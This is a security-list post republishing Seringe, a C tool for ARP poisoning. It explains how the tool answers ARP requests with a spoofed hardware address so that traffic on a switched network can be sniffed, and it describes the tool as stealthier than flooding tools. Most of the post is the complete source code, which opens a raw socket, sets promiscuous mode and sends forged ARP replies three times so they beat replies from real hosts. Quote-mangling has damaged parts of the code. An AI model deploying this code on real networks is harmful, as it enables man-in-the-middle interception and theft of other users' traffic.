‘Seringe – Statically Compiled ARP Poisoning Tool’

Summary
Credit:

‘The information has been provided by Michael Hendrickx.’


Details

‘Seringe is a tool that intercepts ARP requests and replies with his own hardware address. This is done to ‘sniff’ traffic on a switched network where traditional ‘sniffers’ fail.

ARP poisoning is nothing new, it has been around, and implemented many times in several tools, for example: ettercap and dsniff. While being more stealth than just tools that ‘flood’ the network with many ARP-replies, updating machines ARP cache, seringe will update only ARP caches of machines requesting arp addresses. Other, ‘flooding’ tools can be easily detected by NIDS’s or by looking at tcpdump output, such as the following excerpt:

(IP addresses are modified for reasons of privacy)
10:23:04.052275 arp who-has 10.1.4.101 tell 10.1.4.106
10:23:04.052279 arp who-has 10.1.4.102 tell 10.1.4.106
10:23:04.052312 arp who-has 10.1.4.103 tell 10.1.4.106
10:23:04.058605 arp who-has 10.1.4.105 tell 10.1.4.106
10:23:04.073481 arp who-has 10.1.4.107 tell 10.1.4.106
10:23:04.088467 arp who-has 10.1.4.109 tell 10.1.4.106

In order to communicate over ethernet, a network card needs to know the hardware address of the target interface. To achieve this addresses ARP (address resolution protocol) is used. ARP is a simple, lightweight protocol. To get the mac address of the target, the following sequence happens: Host A needs to know the hardware address (mac address) of host B. And assume that A’s ip address is 10.0.0.1 and B’s ip address is 10.0.0.2.
1. Host A sends a broadcast packet requesting the mac addr of B
2. B responds with his IP address and his mac address
3. A knows where to sent packets over ethernet to reach B

Now, what seringe does is taking over step 2, and sending host A a fake hardware address for host B. A will think that B is at the ‘fake’ mac address and sent packets to this mac address, thinking it is B. By this, an attacker can capture and record the packets and forward ’em to the real B host.

Compiling:
To compile seringe, you need a Linux machine. Seringe has been tested successfully on Linux, running kernel 2.4.20 and 2.6.0. To compile seringe: gcc seringe.c -o seringe

Source Code:
//seringe.c
/*
   seringe v0.2: arp injector and redirector
   Copyright 2003,2004 – Michael Hendrickx (michael@scanit.be)
 
   intercepts arp requests, sends ‘own’ mac address (or -m arg).
   Without libnet, libpcap or any other libraries.. made during
   a security audit when i had no access to these libraries.
   
   todo: accept ip addr arguments with -m and -f
 
*/
 
#include < stdio.h>
#include < stdlib.h>
#include < unistd.h>
#include < string.h>
#include < ctype.h>
#include < unistd.h>
#include < sys/types.h>
#include < sys/socket.h>
#include < linux/sockios.h>
#include < linux/if_ether.h>
#include < linux/if_packet.h>
#include < sys/ioctl.h>
#include < netinet/in.h>
#include < net/if.h>
#include < signal.h>

#define IFACE ‘eth0’
#define VERSION ‘0.2’

/* global vars – tsk tsk */

signed int verbosity, // verbose flag
                sockfd; // our socket
unsigned int counter = 0;
FILE *logfd = NULL; // our logfile
extern int errno;

// ‘borrowed’ from if_arp.h, #include gave errors
struct arphdr
{
    unsigned short arp_hrdad; // hardware addr format
    unsigned short arp_prot; // protocol address format
    unsigned char arp_halen; // hardware addr length
    unsigned char arp_prlen; // protocol address length
    unsigned short arp_opcode; // arp opcode (command)
    
    unsigned char ar_sha[ETH_ALEN];
    unsigned char ar_sip[4];
    unsigned char ar_tha[ETH_ALEN];
    unsigned char ar_tip[4];
};

struct packet
{
    struct ethhdr ethhdr;
    struct arphdr arphdr;
} *ppacket;

//clean shutdown of the program
void cleanup(int sig){
    if(sockfd>0) close(sockfd);
    if(logfd>0) fclose(logfd);
    if(ppacket) free(ppacket); // save the whales, free the malloc()s
    fprintf(stdout, ‘nseringe terminated with signal %dn’, sig);
    fprintf(stdout, ‘%d arp requests ‘fullfilled’n’, counter);
    exit(sig);
}

void usage(char *p){
    fprintf(stderr, ‘usage: %s [-vhp] [-l < file>] [-i < iface>] [-f < addr>] [-m < addr>]n’, p);
    fprintf(stderr, ‘where: -l < file> : log activity to < file>n’);
    fprintf(stderr, ‘ -i < iface> : which interface to use (default: %s)n’, IFACE);
    fprintf(stderr, ‘ -f < addr> : only ‘poison’ this machine (hwaddr)n’);
    fprintf(stderr, ‘ -m < addr> : send this hwaddr instead of own mac addrn’);
    fprintf(stderr, ‘ -p : don’t put interface in promiscious moden’);
    fprintf(stderr, ‘ -h : this screenn’);
    fprintf(stderr, ‘ -v : verbosityn’);
    fprintf(stderr, ‘nnote: use this tool with responsibilityn’);
    exit(1);
}

// gets hwaddr of *iface
void getmymac(unsigned char *iface, unsigned char *hwaddr){
    struct ifreq ifr;
    signed int tmpsock;

    memset(&ifr, 0x0, sizeof(struct ifreq));
    strncpy(ifr.ifr_name, iface, IF_NAMESIZE-1);
    if((tmpsock = socket(AF_INET, SOCK_STREAM, 0)) < 0){
 perror(‘socket’); exit(1); }
    if(ioctl(tmpsock, SIOCGIFHWADDR, &ifr)< 0){
 close(tmpsock); perror(‘ioctl()’); exit(1); }
    
    memcpy(hwaddr, (unsigned char *)&ifr.ifr_hwaddr.sa_data, 6);
    close(tmpsock);
}

// gets the interface *iface’s index number
unsigned int getifndx(unsigned char *iface){
    struct ifreq ifr;
    signed int tmpsock;

    memset(&ifr, 0x0, sizeof(struct ifreq));
    strncpy(ifr.ifr_name, iface, IF_NAMESIZE-1);
    if((tmpsock = socket(AF_INET,SOCK_STREAM,0))< 0){
        perror(‘socket’); cleanup(1); }
    if(ioctl(tmpsock, SIOCGIFINDEX, &ifr)< 0){
        close(tmpsock); perror(‘ioctl’); cleanup(1); }
    
    close(tmpsock);
    return ifr.ifr_ifindex;
}

// sets interface in promiscious mode
unsigned int setprom(unsigned char *iface){
    struct ifreq ifr;
    signed int tmpsock;

    memset(&ifr, 0x0, sizeof(struct ifreq));
    strncpy(ifr.ifr_name, iface, IF_NAMESIZE-1);
    tmpsock = socket(AF_INET,SOCK_STREAM,0);
    if(ioctl(tmpsock, SIOCGIFFLAGS, &ifr)< 0){
        close(tmpsock); perror(‘ioctl’); cleanup(1); }
    ifr.ifr_flags = (ifr.ifr_flags | IFF_PROMISC);
    if(ioctl(tmpsock, SIOCSIFFLAGS, &ifr)< 0){
        close(tmpsock); return 1; }
        
    close(tmpsock);
    return 0;
}

#define ETH_NULL ‘x00x00x00x00x00x00’
#define ETH_BCAST ‘xffxffxffxffxffxff’

// linux/if_arp.h defs
#ifndef ARPHRD_ETHER
#define ARPHRD_ETHER 1
#endif
#ifndef ARPOP_REQUEST
#define ARPOP_REQUEST 1
#endif
#ifndef ARPOP_REPLY
#define ARPOP_REPLY 2
#endif
    
void logtofile(unsigned char *msg){
    if(fprintf(logfd, ‘%s’, msg)< 1)
        fprintf(stderr, ‘ [e] error writing to logfilen’);
}

unsigned int handle(struct packet *input, unsigned char filter[ETH_ALEN]){

    // if we are filtering, other packets should be dropped
    if(memcmp(filter, ETH_NULL, 6))
        if(memcmp(input->ethhdr.h_source, filter, ETH_ALEN)) return 0;
    
    // everything that is not a ethernet broadcast should be denied
    if(memcmp(input->ethhdr.h_dest, ETH_BCAST, ETH_ALEN)) return 0;
    // (also for passing?)
    
    // if it is not an normal arp request, drop it
    if(input->ethhdr.h_proto != htons(ETH_P_ARP)) return 0;
    if(input->arphdr.arp_hrdad != htons(ARPHRD_ETHER)) return 0;
    if(input->arphdr.arp_prot != htons(ETH_P_IP)) return 0;
    if(input->arphdr.arp_opcode != htons(ARPOP_REQUEST)) return 0;
    
    // it’s an arp request
    counter++;
    
    if(logfd||verbosity){
        unsigned char *logmsg = malloc(256);
        snprintf(logmsg, 255, ‘%4d : %d.%d.%d.%d : who has %d.%d.%d.%d ?’,
                    counter,
                    input->arphdr.ar_sip[0],input->arphdr.ar_sip[1],
                    input->arphdr.ar_sip[2],input->arphdr.ar_sip[3],
                    input->arphdr.ar_tip[0],input->arphdr.ar_tip[1],
                    input->arphdr.ar_tip[2],input->arphdr.ar_tip[3]);
                                        
        if(logfd) logtofile(logmsg); // write to logfile
        if(verbosity > 0) printf(logmsg); // write to screen
        free(logmsg);
    }
        
    return 1;
}

void inject(struct packet *input, unsigned char hwaddr[ETH_ALEN]){
    struct packet *output = malloc(sizeof(struct packet));
    unsigned int i;
    
    // ethernet header
    memcpy(output->ethhdr.h_dest, input->ethhdr.h_source, ETH_ALEN);
    memcpy(output->ethhdr.h_source, hwaddr, ETH_ALEN);
    output->ethhdr.h_proto = htons(ETH_P_ARP);
    
    //arp header
    output->arphdr.arp_hrdad = htons(ARPHRD_ETHER);
    output->arphdr.arp_prot = htons(ETH_P_IP);
    output->arphdr.arp_halen = ETH_ALEN;
    output->arphdr.arp_prlen = 4;
    output->arphdr.arp_opcode = htons(ARPOP_REPLY);
    
    // copy our mac addr as mac addr of ‘requested ip’
    memcpy(output->arphdr.ar_sha, hwaddr, ETH_ALEN);
    
    // but use ‘his’ ip address.
    memcpy(output->arphdr.ar_sip, input->arphdr.ar_tip, 4);

    // dest = the machine who wanted the info
    memcpy(output->arphdr.ar_tha, input->arphdr.ar_sha, ETH_ALEN);
    memcpy(output->arphdr.ar_tip, input->arphdr.ar_sip, 4);
    
    // sent the packet, three times, to not be overwritten by slower, real hosts

    for(i=0;i< 3;i++){
        if(write(sockfd, output, sizeof(struct packet))< 0){
        perror(‘write’);
        cleanup(1);
        }
        usleep(500);
    }
        
    if(logfd||verbosity){
        unsigned char *logmsg = malloc(256);
        snprintf(logmsg, 255, ‘ -> %02x:%02x:%02x:%02x:%02x:%02xn’,
                hwaddr[0],hwaddr[1],hwaddr[2],hwaddr[3],hwaddr[4],hwaddr[5]);
        if(logfd) logtofile(logmsg); // write to logfile
        if(verbosity > 0) printf(logmsg); // write to screen
        free(logmsg);
    }
}

int main(int argc, char *argv[], char *envp[]){
    // variables
    signed int c; // getopt
    unsigned char *logfn = ”, // logfile
              *iface = ”, // which interface
                        hwaddr[IFHWADDRLEN],// 6char macaddr
                        filaddr[IFHWADDRLEN] = { 0x0 }, // if we should filter, filter on this one
                        flmyhw = 0, // flag for own hardware addr
                        flprom = 1; // flag to set interface in prom mode
    struct sockaddr_ll sll = { 0x0 }; // lowlevel interface stuff

    // start
    fprintf(stdout, ‘seringe v%s: arp injectorn’, VERSION);
    fprintf(stdout, ‘by michael@scanit.benn’);

    if(argc == 1) fprintf(stdout, ‘note: run -h to see available optionsn’);

    while(1){
 c = getopt(argc, argv, ‘hl:vpm:i:f:’);
 if(c==-1) break;
 switch(c){
     case ‘h’:
  usage(argv[0]);
  break;
     case ‘l’:
  logfn = optarg;
  logfd = fopen(optarg, ‘w+’);
  if(logfd == NULL){ perror(‘fopen’); exit(1); }
  break;
     case ‘v’:
  verbosity++;
  break;
     case ‘m’:
                flmyhw = 1;
  if(sscanf(optarg,’%x:%x:%x:%x:%x:%x’,
                        hwaddr, hwaddr+1, hwaddr+2,
                        hwaddr+3,hwaddr+4, hwaddr+5)!=6){
                    fprintf(stderr, ‘ [e] unable parse hwaddr ‘%s’nn’,optarg);
                    cleanup(1);
                }
  break;
            case ‘f’:
                if(sscanf(optarg,’%x:%x:%x:%x:%x:%x’,
                        filaddr, filaddr+1, filaddr+2,
                        filaddr+3, filaddr+4, filaddr+5)!=6){
                    fprintf(stderr, ‘ [e] unable parse hwaddr ‘%s’nn’,optarg);
                    exit(1);
                }
                break;
                
     case ‘i’:
  iface = optarg;
  break;
            case ‘p’:
                flprom = 0;
     default:
  break;
 }
    }

    if(strlen(iface) == 0) iface = IFACE;
    if(!flmyhw) getmymac(iface, hwaddr);
        
    if(verbosity > 0){
 if(strlen(logfn)>0) fprintf(stdout, ‘ [i] logging to %sn’, logfn);
 fprintf(stdout, ‘ [i] arp reply will be %02x:%02x:%02x:%02x:%02x:%02xn’,
                hwaddr[0], hwaddr[1],hwaddr[2],hwaddr[3],hwaddr[4], hwaddr[5]);
        fprintf(stdout, ‘ [i] looking for arp requests ‘);
        if(memcmp(ETH_NULL, filaddr, 6))
            fprintf(stdout, ‘coming from %02x:%02x:%02x:%02x:%02x:%02xn’,
                filaddr[0], filaddr[1],filaddr[2],filaddr[3],filaddr[4],filaddr[5]);
        else
            fprintf(stdout, ‘n’);
    }
    
    // set signals
    signal(SIGHUP, SIG_IGN);
    signal(SIGINT, cleanup);
    signal(SIGTERM, cleanup);
    signal(SIGKILL, cleanup);
    signal(SIGQUIT, cleanup);
    
    // open raw socket
    sockfd = socket(PF_PACKET, SOCK_RAW, htons(ETH_P_ARP)); // or ETH_P_ALL?
    if(sockfd < 0){ perror(‘socket’); exit(1); }
    
    // set in promiscious mode if requested
    if(flprom)
        if(setprom(iface))
            fprintf(stdout, ‘ [e] could not set %s in promiscious moden’, iface);
    
    // setup sockaddr_ll, to talk through this iface
    sll.sll_family = AF_PACKET;
    sll.sll_protocol = htons(ETH_P_ALL);
    sll.sll_ifindex = getifndx(iface);
    
    if(bind(sockfd, (struct sockaddr*)&sll, sizeof(sll)) == -1){
        perror(‘bind’);
        cleanup(0);
    }

    // make space
    ppacket = malloc(sizeof(struct packet));
    
    // and.. sniff
    while(1){
        memset(ppacket, 0x0, sizeof(struct packet));
        read(sockfd, ppacket, (sizeof(struct packet)));
        if(handle(ppacket, filaddr) == 1) inject(ppacket, hwaddr);
    }
        
    // khalas 🙂
    return 0; // to keep -Wall happy, we never come here
}’

Categories: Tools